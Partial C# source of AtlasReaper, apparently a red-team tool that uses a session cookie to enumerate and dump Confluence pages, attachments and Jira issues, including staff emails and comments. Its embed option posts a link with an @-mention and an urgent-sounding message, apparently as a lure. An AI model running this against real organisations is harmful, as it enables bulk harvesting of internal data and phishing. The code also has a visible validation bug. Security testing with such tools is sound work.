141 | [Option("at", Required = false, HelpText = "User id to @ on the page (get user id from the jira listusers command)")]
142 | public string At { get; set; }
143 |
144 | [Option('l', "link", Required = true, HelpText = "Url to link to")]
145 | public string Link { get; set; }
146 |
147 | [Option('m', "message", Required = false, HelpText = "Messgage to add to the page (i.e. I need you to take a look at this)")]
148 | public string Message { get; set; }
149 |
150 | [Option('p', "page", Required = true, HelpText = "Page to embed")]
151 | public string Page { get; set; }
152 |
153 | [Option('t', "text", Required = false, Default = "Here", HelpText = "Link text to display")]
154 | public string Text { get; set; }
155 | }
156 |
157 | //Listattachments command options
158 | [Verb("listattachments", HelpText = "List Attachments")]
159 | internal class ListAttachmentsOptions : ConfluenceOptions
160 | {
161 | [Option('a', "all", Required = false, Default = false, HelpText = "Return all attachments for supplied space")]
162 | public bool All { get; set; }
163 |
164 | [Option("all-spaces", Required = false, Default = false, HelpText = "Return attachments for all spaces. WARNING!! This can make a lot of requests!")]
165 | public bool AllSpaces { get; set; }
166 |
167 | [Option('i', "include", Required = false, HelpText = "Comma-separated list of extensions to include (e.g. png,jpeg)")]
168 | public string Include { get; set; }
169 |
170 | [Option('l', "limit", Required = false, Default = "200", HelpText = "Number or attachments to return")]
171 | public string Limit { get; set; }
172 |
173 | [Option('p', "page", Required = false, HelpText = "Page to return attachments for")]
174 | public string Page { get; set; }
175 |
176 | [Option('s', "space", Required = false, HelpText = "Space to return attachments for")]
177 | public string Space { get; set; }
178 |
179 | [Option('x', "exclude", Required = false, HelpText = "Comma-separated list of extensions to exclude (e.g. png,jpeg)")]
180 | public string Exclude { get; set; }
181 | }
182 |
183 | // Listpages command options
184 | [Verb("listpages", HelpText = "List pages")]
185 | internal class ListPagesOptions : ConfluenceOptions
186 | {
187 |
188 | [Option("all", Required = false, Default = false, HelpText = "Return all pages (Returns every Page if no Space is specified)")]
189 | public bool AllPages { get; set; }
190 |
191 | [Option('b', "body", Required = false, Default = false, HelpText = "Print body of pages")]
192 | public bool Body { get; set; }
193 |
194 | [Option('l', "limit", Required = false, Default = "250", HelpText = "Number of results to return")]
195 | public string Limit { get; set; }
196 |
197 | [Option('p', "page", Required = false, HelpText = "Page to return")]
198 | public string Page { get; set; }
199 |
200 | [Option('s', "space", Required = false, HelpText = "Space to search")]
201 | public string Space { get; set; }
202 |
203 | [Option("status", Required = false, HelpText = "Page Status (current, archived, deleted, trashed) Defaults to all")]
204 | public string Status
205 | {
206 | get => _status;
207 | set
208 | {
209 | if (IsValidStatus(value))
210 | {
211 | _status = value;
212 | }
213 | else
214 | {
215 | Console.WriteLine("Invalid status value. Please use one of the following values: current, archived, deleted, or trashed.");
216 | Console.WriteLine();
217 | return;
218 | }
219 | }
220 | }
221 |
222 | }
223 |
224 | // Check if status value is valid
225 | private bool IsValidStatus(string value)
226 | {
227 | string[] validStatuses = new[] { "current", "archived", "deleted", "trashed" };
228 | return Array.Exists(validStatuses, s => s.Equals(_status, StringComparison.OrdinalIgnoreCase));
229 | }
230 |
231 | // Listspaces command options
232 | [Verb("listspaces", HelpText = "List spaces")]
233 | internal class ListSpacesOptions : ConfluenceOptions
234 | {
235 |
236 | [Option("all", Required = false, Default = false, HelpText = "Returns all spaces")]
237 | public bool AllSpaces { get; set; }
238 |
239 | [Option('l', "limit", Required = false, Default = "100", HelpText = "Number of results to return")]
240 | public string Limit { get; set; }
241 |
242 | [Option('s', "space", Required = false, HelpText = "Space to search")]
243 | public string Space { get; set; }
244 |
245 | [Option('t', "type", Required = false, HelpText = "Space type to return (global, personal, ...?)")]
246 | public string Type { get; set; }
247 |
248 | }
249 |
250 | // Search command options
251 | [Verb("search", HelpText = "Search Confluence")]
252 | internal class SearchOptions : ConfluenceOptions
253 | {
254 | [Option('a', "all", Required = false, Default = false, HelpText = "Return all matches")]
255 | public bool All { get; set; }
256 |
257 | [Option('l', "limit", Required = false, Default = "250", HelpText = "Number of results to return")]
258 | public string Limit { get; set; }
259 |
260 | [Option('q', "query", Required = true, HelpText = "String or phrase to query")]
261 | public string Query { get; set; }
262 |
263 | }
264 | }
265 | }
266 |
--------------------------------------------------------------------------------
/AtlasReaper/Confluence/Pages.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.IO;
4 | using System.Linq;
5 | using Newtonsoft.Json;
6 | using Newtonsoft.Json.Linq;
7 | using AtlasReaper.Options;
8 |
9 | namespace AtlasReaper.Confluence
10 | {
11 | internal class Pages
12 | {
13 | internal void ListPages(ConfluenceOptions.ListPagesOptions options)
14 | {
15 | try
16 | {
17 | List pages = new List();
18 | if (options.Page != null)
19 | {
20 | // List specific page
21 | Page page = new Page();
22 | page = GetPage(options);
23 | pages.Add(page);
24 | options.Body = true;
25 | }
26 | else if (options.AllPages && options.Space == null)
27 | {
28 | // List all pages for all spaces
29 | // List all spaces
30 | ConfluenceOptions.ListSpacesOptions spacesOptions = new ConfluenceOptions.ListSpacesOptions()
31 | {
32 | Url = options.Url,
33 | Cookie = options.Cookie,
34 | Limit = options.Limit
35 | };
36 |
37 | List spaces = Spaces.GetAllSpaces(spacesOptions);
38 |
39 | for (int i = 0; i < spaces.Count; i++)
40 | {
41 | List spacePages = new List();
42 | options.Space = spaces[i].Id;
43 | spacePages = GetAllPages(options);
44 | pages.AddRange(spacePages);
45 | }
46 |
47 | pages = pages.OrderByDescending(o => o.Version.CreatedAt).ToList();
48 | }
49 | else if (options.Space != null)
50 | {
51 | // List pages for Space
52 | RootPagesObject pagesList = GetPages(options);
53 | pages = pagesList.Results.ToList();
54 | pages = pages.OrderByDescending(o => o.Version.CreatedAt).ToList();
55 | }
56 | else
57 | {
58 | Console.WriteLine("Please use one of: ");
59 | Console.WriteLine();
60 | Console.WriteLine(" --all (Default: false) Return all pages (Returns every Page if no Space is specified)");
61 | Console.WriteLine(" -p, --page Page to return");
62 | Console.WriteLine(" -s, --space Space to search");
63 | Console.WriteLine();
64 | }
65 |
66 | pages = pages.Where(page => page != null && page.Id != null).ToList();
67 | if (pages.Count > 0)
68 | {
69 | if (options.outfile != null)
70 | {
71 | using (StreamWriter writer = new StreamWriter(options.outfile))
72 | {
73 | PrintPage(pages, options.Body, writer);
74 | }
75 | }
76 | else
77 | {
78 | PrintPage(pages, options.Body, Console.Out);
79 | }
80 | }
81 | else
82 | {
83 | Console.WriteLine("No pages returned.");
84 | }
85 |
86 | }
87 | catch (Exception ex)
88 | {
89 | Console.WriteLine("Error occurred while listing pages: " + ex.Message);
90 | }
91 |
92 |
93 | }
94 |
95 | // Get Page
96 | internal Page GetPage(ConfluenceOptions.ListPagesOptions options)
97 | {
98 | Page page = new Page();
99 | string url = options.Url + "/wiki/api/v2/pages/" + options.Page + "?body-format=atlas_doc_format";
100 | try
101 | {
102 | Utils.WebRequestHandler webRequestHandler = new Utils.WebRequestHandler();
103 | page = webRequestHandler.GetJson(url, options.Cookie);
104 |
105 | return page;
106 | }
107 | catch (Exception ex)
108 | {
109 | Console.WriteLine("Error occurred while getting page: " + ex.Message);
110 | return page;
111 | }
112 |
113 | }
114 |
115 | // Get pages based on options
116 | internal static RootPagesObject GetPages(ConfluenceOptions.ListPagesOptions options, string paginationToken = null)
117 | {
118 | RootPagesObject pagesList = new RootPagesObject();
119 |
120 | string url =
121 | options.Url + "/wiki/api/v2/spaces/" + options.Space +
122 | "/pages?limit=" + options.Limit +
123 | "&status=" + options.Status;
124 | try
125 | {
126 | if (options.Body)
127 | {
128 | url = url + "&body-format=atlas_doc_format";
129 | }
130 |
131 | if (paginationToken != null)
132 | {
133 | url += "&" + paginationToken;
134 | }
135 |
136 | Utils.WebRequestHandler webRequestHandler = new Utils.WebRequestHandler();
137 |
138 | pagesList = webRequestHandler.GetJson(url, options.Cookie);
139 |
140 | return pagesList;
141 | }
142 | catch (Exception ex)
143 | {
144 | Console.WriteLine("Error occured while getting pages: " + ex.Message);
145 | return pagesList;
146 | }
147 |
148 |
149 | }
150 |
151 | // Get text values from JSON token
152 | internal static List GetPageText(JToken token, string key)
153 | {
154 | List results = new List();
155 |
156 | try
157 | {
158 | if (token.Type == JTokenType.Object)
159 | {
160 | JObject obj = (JObject)token;
161 |
162 | foreach (JProperty property in obj.Properties())
163 | {
164 | if (property.Name == key)
165 | {
166 | results.Add(property.Value.ToString());
167 | }
168 |
169 | results.AddRange(GetPageText(property.Value, key));
170 | }
171 | }
172 | else if (token.Type == JTokenType.Array)
173 | {
174 | foreach (JToken item in token)
175 | {
176 | results.AddRange(GetPageText(item, key));
177 | }
178 | }
179 |
180 | return results;
181 | }
182 | catch (Exception ex)
183 | {
184 | Console.WriteLine("Error occured while parsing page text: " + ex.Message);
185 | return results;
186 | }
187 |
188 | }
189 |
190 | // Get all pages for a space
191 | internal static List GetAllPages(ConfluenceOptions.ListPagesOptions options)
192 | {
193 | List pages = new List();
194 |
195 | // Set limit to 250 to reduce number of request
196 | options.Limit = "250";
197 |
198 | try
199 | {
200 | RootPagesObject pagesList = GetPages(options);
201 | pages = pagesList.Results;
202 |
203 | while (pagesList != null && pagesList._Links.Next != null)
204 | {
205 | string[] nextTokenParts = pagesList._Links.Next.Split('?').Last().Split('&');
206 | string nextToken = "";
207 | foreach (string param in nextTokenParts)
208 | {
209 | if (param.Contains("cursor"))
210 | {
211 | nextToken = param;
212 | }
213 | }
214 | //string nextToken = pagesList._Links.Next.Split('?').Last();
215 |
216 | pagesList = GetPages(options, nextToken);
217 | pages.AddRange(pagesList.Results);
218 | }
219 |
220 | pages = pages.OrderByDescending(o => o.Version.CreatedAt).ToList();
221 |
222 | return pages;
223 | }
224 |
225 | catch (Exception ex)
226 | {
227 | Console.WriteLine("Error occurred while getting all pages: " + ex.Message);
228 | return pages;
229 | }
230 |
231 | }
232 |
233 | // Print page information
234 | internal static void PrintPage(List pages, bool body, TextWriter writer)
235 | {
236 | try
237 | {
238 |
239 | for (int i = 0; i < pages.Count; i++)
240 | {
241 | Page page = pages[i];
242 | writer.WriteLine("Page Title: " + page.Title);
243 | writer.WriteLine("Updated : " + page.Version.CreatedAt);
244 | writer.WriteLine("Page Id : " + page.Id);
245 | if (body)
246 | {
247 | JToken json = JObject.Parse(page.Body.Atlas_Doc_Format.Value);
248 | List textValues = GetPageText(json, "text");
249 | string bodyText = string.Join("\n ", textValues);
250 | writer.WriteLine("Page Body : ");
251 | writer.WriteLine(" " + bodyText);
252 | }
253 | writer.WriteLine();
254 | }
255 | }
256 | catch (Exception ex)
257 | {
258 | Console.WriteLine("Error occured while printing page with body: " + ex.Message);
259 | }
260 | }
261 |
262 | }
263 |
264 | internal class RootPagesObject
265 | {
266 | [JsonProperty("results")]
267 | internal List Results { get; set; }
268 | [JsonProperty("_links")]
269 | internal _Links _Links { get; set; }
270 | }
271 |
272 | internal class Page
273 | {
274 | [JsonProperty("id")]
275 | internal string Id { get; set; }
276 | [JsonProperty("status")]
277 | internal string Status { get; set; }
278 | [JsonProperty("title")]
279 | internal string Title { get; set; }
280 | [JsonProperty("spaceId")]
281 | internal string SpaceId { get; set; }
282 | [JsonProperty("parentId")]
283 | internal string ParentId { get; set; }
284 | [JsonProperty("authorId")]
285 | internal string AuthorId { get; set; }
286 | [JsonProperty("createdAt")]
287 | internal string CreatedAt { get; set; }
288 | [JsonProperty("version")]
289 | internal Version Version { get; set; }
290 | [JsonProperty("body")]
291 | internal Body Body { get; set; }
292 | }
293 |
294 | internal class Version
295 | {
296 | [JsonProperty("createdAt")]
297 | internal string CreatedAt { get; set; }
298 | [JsonProperty("message")]
299 | internal string Message { get; set; }
300 | [JsonProperty("number")]
301 | internal int Number { get; set; }
302 | [JsonProperty("minorEdit")]
303 | internal bool MinorEdit { get; set; }
304 | [JsonProperty("authorId")]
305 | internal string AuthorId { get; set; }
306 | }
307 |
308 | internal class Body
309 | {
310 | [JsonProperty("storage")]
311 | internal BodyType Storage { get; set; }
312 |
313 | [JsonProperty("atlas_doc_format")]
314 | internal BodyType Atlas_Doc_Format { get; set; }
315 | }
316 |
317 | internal class BodyType
318 | {
319 | [JsonProperty("value")]
320 | internal string Value { get; set; }
321 | [JsonProperty("representation")]
322 | internal string Representation { get; set; }
323 | }
324 |
325 | }
326 |
--------------------------------------------------------------------------------
/AtlasReaper/Confluence/Attachments.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.IO;
4 | using System.Linq;
5 | using Newtonsoft.Json;
6 | using AtlasReaper.Options;
7 |
8 | namespace AtlasReaper.Confluence
9 | {
10 | class Attachments
11 | {
12 |
13 | // List attachmetns based on provided options
14 | internal void ListAttachments(ConfluenceOptions.ListAttachmentsOptions options)
15 | {
16 | try
17 | {
18 | List attachmentsList = new List();
19 |
20 | if (options.Space != null)
21 | {
22 | if (int.TryParse(options.Space, out int result))
23 | {
24 | ConfluenceOptions.ListSpacesOptions spacesOptions = new ConfluenceOptions.ListSpacesOptions
25 | {
26 | Url = options.Url,
27 | Cookie = options.Cookie,
28 | Space = options.Space,
29 | };
30 |
31 | Space space = Spaces.GetSpace(spacesOptions);
32 |
33 | options.Space = space.Key;
34 | }
35 |
36 | //Constructing URL for searching attachments in a given Space
37 | string url = options.Url + "/wiki/rest/api/search?cql=type=attachment+AND+Space+=+%20" + options.Space + "%20&expand=content.extensions";
38 |
39 | if (options.All)
40 | {
41 | url = url + "&limit=200";
42 |
43 | // Get all attachments
44 | RootAttachmentsObject rootAttachmentsObject = GetAttachments(options, url);
45 | attachmentsList.AddRange(rootAttachmentsObject.Results);
46 |
47 | while (attachmentsList.Count < rootAttachmentsObject.TotalSize)
48 | {
49 | string nextUrl = rootAttachmentsObject._Links.Base + rootAttachmentsObject._Links.Next;
50 | rootAttachmentsObject = GetAttachments(options, nextUrl);
51 | attachmentsList.AddRange(rootAttachmentsObject.Results);
52 | }
53 |
54 | attachmentsList = FilterAttachments(attachmentsList, options);
55 | }
56 | else
57 | {
58 | // Get attachments with a specified limit
59 | url = url + "&limit=" + options.Limit;
60 |
61 | RootAttachmentsObject rootAttachmentsObject = GetAttachments(options, url);
62 | attachmentsList = rootAttachmentsObject.Results;
63 |
64 | attachmentsList = FilterAttachments(attachmentsList, options);
65 | }
66 |
67 |
68 | }
69 |
70 | else
71 | {
72 | // Construct URL for searching all attachments
73 | string url = options.Url + "/wiki/rest/api/search?cql=type=attachment&expand=content.extensions";
74 |
75 | if (options.All)
76 | {
77 | // Get all attachments
78 | attachmentsList = GetAllAttachments(options, url);
79 | attachmentsList = FilterAttachments(attachmentsList, options);
80 | }
81 | else
82 | {
83 | // Get attachments with specified limit
84 | url = url + "&limit=" + options.Limit;
85 |
86 | RootAttachmentsObject rootAttachmentsObject = GetAttachments(options, url);
87 |
88 | attachmentsList = rootAttachmentsObject.Results;
89 | attachmentsList = FilterAttachments(attachmentsList, options);
90 | }
91 | }
92 |
93 | if (options.outfile != null)
94 | {
95 | using (StreamWriter writer = new StreamWriter(options.outfile))
96 | {
97 | PrintAttachments(attachmentsList, writer);
98 | }
99 | }
100 | else
101 | {
102 | PrintAttachments(attachmentsList, Console.Out);
103 | }
104 | }
105 | catch (Exception ex)
106 | {
107 | Console.WriteLine("An error occured while listing attachments: " + ex.Message);
108 | }
109 | }
110 |
111 | // Filter attachments based on include or exclude options
112 | private List FilterAttachments(List attachmentsList, ConfluenceOptions.ListAttachmentsOptions options)
113 | {
114 | try
115 | {
116 | // Exclude
117 | if (options.Exclude != null)
118 | {
119 | List excludeList = options.Exclude.Split(',').ToList();
120 |
121 | foreach (string exclude in excludeList)
122 | {
123 | attachmentsList.RemoveAll(item =>
124 | {
125 | List extension = item.AttachmentContent.Title.Split('.').ToList();
126 | if (extension.LastOrDefault() == exclude)
127 | {
128 | return true;
129 | }
130 | else
131 | {
132 | return false;
133 | }
134 | });
135 | }
136 | }
137 |
138 | // Include
139 | if (options.Include != null)
140 | {
141 | List includeList = options.Include.Split(',').ToList();
142 | attachmentsList = attachmentsList.Where(item =>
143 | {
144 | string extension = item.AttachmentContent.Title.Split('.').LastOrDefault();
145 | return includeList.Contains(extension);
146 | }).ToList();
147 | }
148 |
149 | return attachmentsList;
150 | }
151 | catch (Exception ex)
152 | {
153 | Console.WriteLine("An error occurred while filtering attachments: " + ex.Message);
154 | return attachmentsList;
155 | }
156 | }
157 |
158 | // Get all attachments
159 | private List GetAllAttachments(ConfluenceOptions.ListAttachmentsOptions options, string url)
160 | {
161 | List attachmentsList = new List();
162 | try
163 | {
164 | url = url + "&limit=200";
165 |
166 | RootAttachmentsObject rootAttachmentsObject = GetAttachments(options, url);
167 | attachmentsList.AddRange(rootAttachmentsObject.Results);
168 |
169 | while (attachmentsList.Count < rootAttachmentsObject.TotalSize)
170 | {
171 | string nextUrl = rootAttachmentsObject._Links.Base + rootAttachmentsObject._Links.Next;
172 | rootAttachmentsObject = GetAttachments(options, nextUrl);
173 | attachmentsList.AddRange(rootAttachmentsObject.Results);
174 | }
175 |
176 | return attachmentsList;
177 |
178 | }
179 | catch (Exception ex)
180 | {
181 | Console.WriteLine("An error occurred while getting all attachments: " + ex.Message);
182 | return attachmentsList;
183 | }
184 |
185 | }
186 |
187 | // Print attachments to the console
188 | private void PrintAttachments(List attachments, TextWriter writer)
189 | {
190 | try
191 | {
192 | writer.WriteLine("Attachments Count: " + attachments.Count);
193 | for (int i = 0; i < attachments.Count; i++)
194 | {
195 | Attachment attachment = attachments[i];
196 | writer.WriteLine(" Attachment Title: " + attachment.AttachmentContent.Title);
197 | writer.WriteLine(" Attachment Id: " + attachment.AttachmentContent.Id);
198 | writer.WriteLine(" Attachment Type: " + attachment.AttachmentContent.Extensions.mediaType);
199 | writer.WriteLine(" Attachment Type Description: " + attachment.AttachmentContent.Extensions.MediaTypeDescription);
200 | writer.WriteLine(" Attachment Size: " + FormatFileSize(attachment.AttachmentContent.Extensions.FileSize));
201 | writer.WriteLine(" Download Link: " + attachment.AttachmentContent._ContentLinks.Download);
202 | writer.WriteLine();
203 | }
204 | }
205 | catch (Exception ex)
206 | {
207 | Console.WriteLine("An error occurred while printing attachmetns: " + ex.Message);
208 | }
209 | }
210 |
211 | // Get Attachments using the REST API
212 | internal static RootAttachmentsObject GetAttachments(ConfluenceOptions.ListAttachmentsOptions options, string url)
213 | {
214 | RootAttachmentsObject attachments = new RootAttachmentsObject();
215 | try
216 | {
217 | Utils.WebRequestHandler webRequestHandler = new Utils.WebRequestHandler();
218 |
219 | attachments = webRequestHandler.GetJson(url, options.Cookie);
220 | return attachments;
221 | }
222 | catch (Exception ex)
223 | {
224 | Console.WriteLine("An error occured while Getting attachments: " + ex.Message);
225 | return attachments;
226 | }
227 |
228 |
229 | }
230 |
231 | // Format file size to human-readable format
232 | private static string FormatFileSize(int fileSize)
233 | {
234 | try
235 | {
236 | string[] sizes = { "b", "Kb", "Mb", "Gb", "Tb" };
237 | int i = 0;
238 | long numFileSize = fileSize;
239 |
240 | while (numFileSize >= 1024 && i < sizes.Length - 1)
241 | {
242 | numFileSize /= 1024;
243 | i++;
244 | }
245 |
246 | string sFileSize = numFileSize.ToString() + " " + sizes[i];
247 | return sFileSize;
248 | }
249 | catch (Exception ex)
250 | {
251 | Console.WriteLine("An error occured while formatting file size: " + ex.Message);
252 | return string.Empty;
253 | }
254 |
255 | }
256 | }
257 |
258 |
259 | // Definition of attachment object
260 | internal class RootAttachmentsObject
261 | {
262 | [JsonProperty("results")]
263 | internal List Results { get; set; }
264 |
265 | [JsonProperty("totalSize")]
266 | internal int TotalSize { get; set; }
267 |
268 | [JsonProperty("_links")]
269 | internal _Links _Links { get; set; }
270 | }
271 |
272 | internal class Attachment
273 | {
274 | [JsonProperty("content")]
275 | internal AttachmentContent AttachmentContent { get; set; }
276 |
277 | [JsonProperty("excerpt")]
278 | internal string Excerpt { get; set; }
279 |
280 | [JsonProperty("lastModified")]
281 | internal string LastModified { get; set; }
282 |
283 | [JsonProperty("friendlyLastModified")]
284 | internal string FriendlyLastModified { get; set; }
285 | }
286 |
287 | internal class AttachmentContent
288 | {
289 | [JsonProperty("id")]
290 | internal string Id { get; set; }
291 |
292 | [JsonProperty("title")]
293 | internal string Title { get; set; }
294 |
295 | [JsonProperty("extensions")]
296 | internal Extensions Extensions { get; set; }
297 |
298 | [JsonProperty("_links")]
299 | internal _ContentLinks _ContentLinks { get; set; }
300 |
301 | }
302 |
303 | internal class Extensions
304 | {
305 | [JsonProperty("mediaType")]
306 | internal string mediaType { get; set; }
307 |
308 | [JsonProperty("fileSize")]
309 | internal int FileSize { get; set; }
310 |
311 | [JsonProperty("mediaTypeDescription")]
312 | internal string MediaTypeDescription { get; set; }
313 |
314 |
315 | }
316 |
317 | internal class _ContentLinks
318 | {
319 | [JsonProperty("download")]
320 | internal string Download { get; set; }
321 | }
322 | }
323 |
324 |
--------------------------------------------------------------------------------
/AtlasReaper/Jira/Issues.cs:
--------------------------------------------------------------------------------
1 | using Newtonsoft.Json;
2 | using AtlasReaper.Options;
3 | using System;
4 | using System.Collections.Generic;
5 | using System.IO;
6 | using System.Text.RegularExpressions;
7 |
8 | namespace AtlasReaper.Jira
9 | {
10 | class Issues
11 | {
12 | internal void ListIssues(JiraOptions.ListIssuesOptions options)
13 | {
14 | try
15 | {
16 | // Building the url
17 | string restUrl = "/rest/api/3/search?jql=";
18 | string url = options.Url + restUrl;
19 | if (options.Project != null)
20 | {
21 | url = url + "Project=" + options.Project + "&";
22 | }
23 | if (options.Issue != null)
24 | {
25 | url = url + "Issue=" + options.Issue + "&";
26 | }
27 | url = url + "&expand=renderedFields&fields=description,summary,created,updated,status,creator,assignee";
28 |
29 | if (options.Comments)
30 | {
31 | url = url + ",comment";
32 | }
33 | if (options.Attachments)
34 | {
35 | url = url + ",attachment";
36 | }
37 |
38 | // Return all Issues
39 | if (options.All)
40 | {
41 | url = url + "&maxResults=" + "100";
42 | int startAt = 0;
43 | List issues = new List();
44 | RootIssuesObject issuesList = GetIssues(url, options.Cookie);
45 |
46 | /* if (options.Limit != issuesList.Total.ToString())
47 | {
48 | int numRequests = issuesList.Total / 100 + 1;
49 | Console.WriteLine("This will generate " + numRequests.ToString() + " web requests, potentially resulting in a large quantity of data returned.");
50 | Console.WriteLine("If you want to continue, please use the -l/--limit flag with the total number of issues: " + issuesList.Total.ToString());
51 | return;
52 | }*/
53 |
54 | issues.AddRange(issuesList.Issues);
55 |
56 |
57 | while (issues.Count < issuesList.Total)
58 | {
59 | startAt += 100;
60 | string nextUrl = url + "&startAt=" + startAt.ToString();
61 | RootIssuesObject issuesListNext = GetIssues(nextUrl, options.Cookie);
62 | issues.AddRange(issuesListNext.Issues);
63 | }
64 |
65 | if (options.outfile != null)
66 | {
67 | using (StreamWriter writer = new StreamWriter(options.outfile))
68 | {
69 | PrintIssues(issues, writer);
70 | }
71 | }
72 | else
73 | {
74 | PrintIssues(issues, Console.Out);
75 | }
76 |
77 |
78 | }
79 | // Return issues by limit
80 | else
81 | {
82 | url = url + "&maxResults=" + options.Limit;
83 |
84 | RootIssuesObject issuesList = GetIssues(url, options.Cookie);
85 |
86 | if (options.outfile != null)
87 | {
88 | using (StreamWriter writer = new StreamWriter(options.outfile))
89 | {
90 | PrintIssues(issuesList.Issues, writer);
91 | }
92 | }
93 | else
94 | {
95 | PrintIssues(issuesList.Issues, Console.Out);
96 | }
97 | }
98 | }
99 | catch (Exception ex)
100 | {
101 | Console.WriteLine("An error occurred while listing Jira issues: " + ex.Message);
102 | }
103 |
104 | }
105 |
106 | internal RootIssuesObject GetIssues(string url, string cookie)
107 | {
108 | try
109 | {
110 | Utils.WebRequestHandler webRequestHandler = new Utils.WebRequestHandler();
111 |
112 | RootIssuesObject issuesList = webRequestHandler.GetJson(url, cookie);
113 |
114 | return issuesList;
115 | }
116 | catch (Exception ex)
117 | {
118 | Console.WriteLine("Error occurred while getting issues: " + ex.Message);
119 | return null;
120 | }
121 | }
122 |
123 | internal void PrintIssues(List issues, TextWriter writer)
124 | {
125 | try
126 | {
127 | for (int i = 0; i < issues.Count; i++)
128 | {
129 | Issue issue = issues[i];
130 | List comments = issue.RenderedFields.RenderedCommentObj?.Comments;
131 | List attachments = issue.RenderedFields?.Attachments;
132 |
133 | writer.WriteLine(" Issue Title : " + issue.Fields.Title);
134 | writer.WriteLine(" Issue Key : " + issue.Key);
135 | writer.WriteLine(" Issue Id : " + issue.Id);
136 | writer.WriteLine(" Created : " + issue.RenderedFields.Created);
137 | writer.WriteLine(" Updated : " + issue.RenderedFields.Updated);
138 | writer.WriteLine(" Status : " + issue.Fields.Status?.Name);
139 | writer.WriteLine(" Creator : " + issue.Fields.Creator?.EmailAddress + " - " + issue.Fields.Creator?.DisplayName + " - " + issue.Fields.Creator?.TimeZone);
140 | writer.WriteLine(" Assignee : " + issue.Fields.Assignee?.EmailAddress + " - " + issue.Fields.Assignee?.DisplayName + " - " + issue.Fields.Assignee?.TimeZone);
141 | writer.WriteLine(" Issue Contents : " + Regex.Replace(issue.RenderedFields.Description, @"<(?!\/?a(?=>|\s.*>))\/?.*?>", "").Trim('\r', '\n'));
142 | writer.WriteLine();
143 | if (attachments?.Count > 0)
144 | {
145 | writer.WriteLine(" Attachments : ");
146 | writer.WriteLine();
147 | for (int j = 0; j < attachments.Count; j++)
148 | {
149 | Attachment attachment = attachments[j];
150 | writer.WriteLine(" Filename : " + attachment.FileName);
151 | writer.WriteLine(" Attachment Id : " + attachment.Id);
152 | writer.WriteLine(" Mimetype : " + attachment.mimeType);
153 | writer.WriteLine(" File size : " + attachment.Size);
154 | writer.WriteLine();
155 | }
156 | }
157 | if (comments?.Count > 0)
158 | {
159 | writer.WriteLine();
160 | writer.WriteLine(" Comments : ");
161 | writer.WriteLine();
162 | for (int j = 0; j < comments.Count; j++)
163 | {
164 | writer.WriteLine(" - " + comments[j].Author.EmailAddress + " - " + comments[j].Author.DisplayName + " - " + comments[j].Created);
165 | List contentList = comments[j]?.Body.ContentList;
166 | for (int k = 0; k < contentList.Count; k++)
167 | {
168 |
169 | List commentContents = contentList[k]?.CommentContents;
170 | if (commentContents != null)
171 | {
172 | for (int l = 0; l < commentContents.Count; l++)
173 | {
174 | writer.WriteLine(" " + commentContents[l].Text?.Trim('\r', '\n'));
175 |
176 | }
177 | }
178 | }
179 | writer.WriteLine();
180 | }
181 |
182 | }
183 | writer.WriteLine();
184 | }
185 | }
186 | catch (Exception ex)
187 | {
188 | Console.WriteLine("Error occurred while printing issues: " + ex.Message);
189 | }
190 |
191 | }
192 | }
193 |
194 | internal class RootIssuesObject
195 | {
196 | [JsonProperty("startAt")]
197 | internal int StartAt { get; set; }
198 |
199 | [JsonProperty("total")]
200 | internal int Total { get; set; }
201 |
202 | [JsonProperty("issues")]
203 | internal List Issues { get; set; }
204 | }
205 |
206 | internal class Issue
207 | {
208 | [JsonProperty("id")]
209 | internal string Id { get; set; }
210 |
211 | [JsonProperty("key")]
212 | internal string Key { get; set; }
213 |
214 | [JsonProperty("renderedFields")]
215 | internal RenderedFields RenderedFields { get; set; }
216 |
217 | [JsonProperty("fields")]
218 | internal Fields Fields { get; set; }
219 | }
220 |
221 | internal class RenderedFields
222 | {
223 | [JsonProperty("created")]
224 | internal string Created { get; set; }
225 |
226 | [JsonProperty("updated")]
227 | internal string Updated { get; set; }
228 |
229 | [JsonProperty("description")]
230 | internal string Description { get; set; }
231 |
232 | [JsonProperty("comment")]
233 | internal RenderedCommentObj RenderedCommentObj { get; set; }
234 |
235 | [JsonProperty("attachment")]
236 | internal List Attachments { get; set; }
237 |
238 | }
239 |
240 | internal class Fields
241 | {
242 | [JsonProperty("assignee")]
243 | internal Author Assignee { get; set; }
244 |
245 | [JsonProperty("creator")]
246 | internal Author Creator { get; set; }
247 |
248 | [JsonProperty("status")]
249 | internal Status Status { get; set; }
250 |
251 | [JsonProperty("summary")]
252 | internal string Title { get; set; }
253 |
254 | [JsonProperty("attachment")]
255 | internal List Attachments { get; set; }
256 |
257 |
258 | }
259 |
260 | internal class Author
261 | {
262 | [JsonProperty("emailAddress")]
263 | internal string EmailAddress { get; set; }
264 |
265 | [JsonProperty("displayName")]
266 | internal string DisplayName { get; set; }
267 |
268 | [JsonProperty("timeZone")]
269 | internal string TimeZone { get; set; }
270 |
271 | }
272 |
273 | internal class RenderedCommentObj
274 | {
275 | [JsonProperty("comments")]
276 | internal List Comments { get; set; }
277 | }
278 |
279 | internal class Comment
280 | {
281 | [JsonProperty("author")]
282 | internal Author Author { get; set; }
283 |
284 | [JsonProperty("body")]
285 | internal Body Body { get; set; }
286 |
287 | [JsonProperty("created")]
288 | internal string Created { get; set; }
289 |
290 | }
291 |
292 | internal class Body
293 | {
294 | [JsonProperty("content")]
295 | internal List ContentList { get; set; }
296 |
297 | [JsonProperty("type")]
298 | internal string Type { get; set; }
299 |
300 | [JsonProperty("version")]
301 | internal int Version { get; set; }
302 | }
303 |
304 | internal class Content
305 | {
306 | [JsonProperty("content")]
307 | internal List CommentContents { get; set; }
308 |
309 | [JsonProperty("type")]
310 | internal string Type { get; set; }
311 |
312 | [JsonProperty("attrs")]
313 | internal Attrs Attrs { get; set; }
314 | }
315 |
316 | internal class CommentContent
317 | {
318 | [JsonProperty("text")]
319 | internal string Text { get; set; }
320 |
321 | [JsonProperty("type")]
322 | internal string Type { get; set; }
323 |
324 | [JsonProperty("attrs")]
325 | internal Attrs Attrs { get; set; }
326 |
327 | [JsonProperty("marks")]
328 | internal List Marks { get; set; }
329 | }
330 |
331 | internal class Mark
332 | {
333 | [JsonProperty("type")]
334 | internal string Type { get; set; }
335 |
336 | [JsonProperty("attrs")]
337 | internal Attrs Attrs { get; set; }
338 | }
339 |
340 | internal class Attrs
341 | {
342 | [JsonProperty("id")]
343 | internal string Id { get; set; }
344 |
345 | [JsonProperty("text")]
346 | internal string Text { get; set; }
